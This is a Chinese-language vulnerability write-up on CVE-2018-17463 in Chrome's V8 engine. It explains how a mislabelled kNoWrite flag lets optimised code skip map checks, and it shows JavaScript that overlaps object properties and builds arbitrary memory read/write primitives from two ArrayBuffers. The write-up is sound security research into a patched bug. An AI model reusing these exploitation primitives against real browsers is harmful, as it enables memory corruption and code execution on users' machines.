Chrome 引擎漏洞分析及利用

本文作者: Peterpan0927 (信安之路病毒分析小组成员 & 信安之路 2019 年度优秀作者)

成员招募:信安之路病毒分析小组寻找志同道合的朋友

漏洞编号: CVE-2018-17463 ,在 chrome 70 版本中被 patch,测试版本为 69.0.3497.42 beta 版,涉及的一些前置知识可以参考 V8 的内存布局和官方文档

漏洞介绍

V8 的 IR 层操作有很多的 flag ,其中有一个 flag 叫做 kNowrite ,从简单的语义分析来看表示的就是没有进行写操作,事实上代表的意思就是拥有这个 flag 的操作不会修改原有的属性,那么也就是说 js engine 推测含有这个 flag 的操作是可以进行一些深度优化的,比如说去掉它的类型检查:


#define CACHED_OP_LIST(V)                                            
      ...                                                               
      V(CreateObject, Operator::kNoWrite, 1, 1)                          
      ...

但是事实并非如此,通过跟踪这个的底层调用我们可以发现一些问题,在 JSCreateObject 函数中,通过跟踪调用可以发现最后调到了一个名为 JSObject::OptimizeAsPrototype 的函数上面,而这个函数可能会修改对象原型,了解JS的可以知道所谓的原型代表的其实是一种类似类的继承关系,也就是说这个操作会修改对象的类型,也就是 Map 属性,通过 runtime func 也可以确定( %DebugPrint )

o.inline;

Object.create(o);

//经过create之后o的map会变,并且从FastProperties变成DictionaryProperties

这样一来对象 o 的内存属性布局也会随之改变,如果经过了优化之后的代码去掉了 checkMap 节点的话,那么之后对于对象属性的访问就会按照之前的内存布局进行访问,举一个很简单的例子,可能在 FastProperties 的时候想要访问属性编译成机器码之后如下所示:

;js code : return o.b
r1 = Load [o + 0x8]
r2 = Load [r1 + 0x10]
Return r2

但是此时作为 DictionaryProperties 的内存布局在对应偏移的位置就可能不是原来的数据了,而是其他未知的数据,在分析 create 操作前后的内存布局我们可以发现一个奇怪的事情:

o.p0 = 0; o.p1 = 1; o.p2 = 2; o.p3 = 3; o.p4 = 4;
 o.p5 = 5; o.p6 = 6; o.p7 = 7; o.p8 = 8; o.p9 = 9;
    0x0000130c92483e89         0x0000130c92483bb1
    0x0000000c00000000         0x0000006500000000
    0x0000000000000000         0x0000000b00000000
    0x0000000100000000         0x0000000000000000
    0x0000000200000000         0x0000002000000000
    0x0000000300000000         0x0000000c00000000
    0x0000000400000000         0x0000000000000000
    0x0000000500000000         0x0000130ce98a4341
    0x0000000600000000 overlap 0x0000000200000000
    0x0000000700000000         0x000004c000000000
    0x0000000800000000         0x0000130c924826f1
    0x0000000900000000         0x0000130c924826f1

那就是 o.p6o.p2 这两个属性经过转换之后发生了重叠,这意味着我们在优化去掉了 checkMap 节点之后访问 o.p6 ,实际上返回的是 o.p2 的值。

稍微对于 V8 的一些机制有了解的话就知道 DictionaryMode 是通过 hashfunc 来计算地址的,所以这个 overlap 是哈希之后的结果,而这个哈希计算的方式是进程独立的,也就是我们每个进程都有着不同的哈希计算方式,这也就意味着我们如果找到了这个 overlap ,之后就可以通过修改 o.p2 来做到很多事情,比如说在 o.p2 放置一个对象,那么返回的就是这个对象的地址了。

任意地址读写

这里的任意地址读写用的是两个 ArrayBuffer ,首先来看看普通对象和 ArrayBuffer 内存布局的对比:

上面的是 ArrayBuffer ,下面是普通对象,可以看到 backing_store 的偏移应该是对应的是普通对象的第二个 inline 属性的偏移,所以如果我们在触发漏洞后,将对象的第二个对象内属性修改,就可以把这个 backing_store 的值给修改,如果我们修改为指向另一个 ArrayBuffer ,形成如下的结构:

 +-----------------+           +-----------------+
    |  ArrayBuffer 1  |     +---->|  ArrayBuffer 2  |
    |                 |     |     |                 |
    |  map            |     |     |  map            |
    |  properties     |     |     |  properties     |
    |  elements       |     |     |  elements       |
    |  byteLength     |     |     |  byteLength     |
    |  backingStore --+-----+     |  backingStore   |
    |  flags          |           |  flags          |
    +-----------------+           +-----------------+

那么我们用第一个 ArrayBuffer 来 new 一个 BigUint64 的数组,这个数组的地址事实上是 ArrayBuffer 的数据,也就是 backing_store 指向的 ArrayBuffer2 ,我们将数组的第五个元素,也就是 backing_store 进行任意的设置可以指向任意的地址,然后切换到 ArrayBuffer2 进行操作,再用 ArrayBuffer2 来new一个新的数组,这个时候我们对数组进行的任何操作都是我们对于那个地址的任何操作,也就是所谓的任意地址读写了,稍微封装一下如下所示:

//driver是ArrayBuffer2 
let memory = {
        //任意地址写就是setvalue
        write(addr, bytes) {
            driver[4] = addr;
            let memview = new Uint8Array(memViewBuf);
            memview.set(bytes);
        },
        //任意地址读就是返回数组的值
        read(addr, len) {
            driver[4] = addr;
            let memview = new Uint8Array(memViewBuf);
            return memview.subarray(0, len);
        },
        read64(addr) {
            driver[4] = addr;
            let memview = new BigUint64Array(memViewBuf);
            return memview[0];
        },
        write64(addr, ptr) {
            driver[4] = addr;
            let memview = new BigUint64Array(memViewBuf);
            memview[0] = ptr;
        }
    };

这里只用一个 ArrayBuffer 行不行呢?其实也是可以的,只不过每一次修改都用通过优化并触发漏洞来 overlapbacking_store ,而两个 ArrayBuffer 就只需要触发一次,可以节省很多开销并更加稳定

最后来看一下任意地址读的效果图,是在 macOS 上测试的:

之后的工作还有待完善,可以完全控制浏览器的控制流

Links

phrack:

http://phrack.org/papers/jit_exploitation.html

saleo:

https://github.com/saelo

js engine:

https://peterpan0927.github.io/2019/07/08/JavaScript-in-V8/#more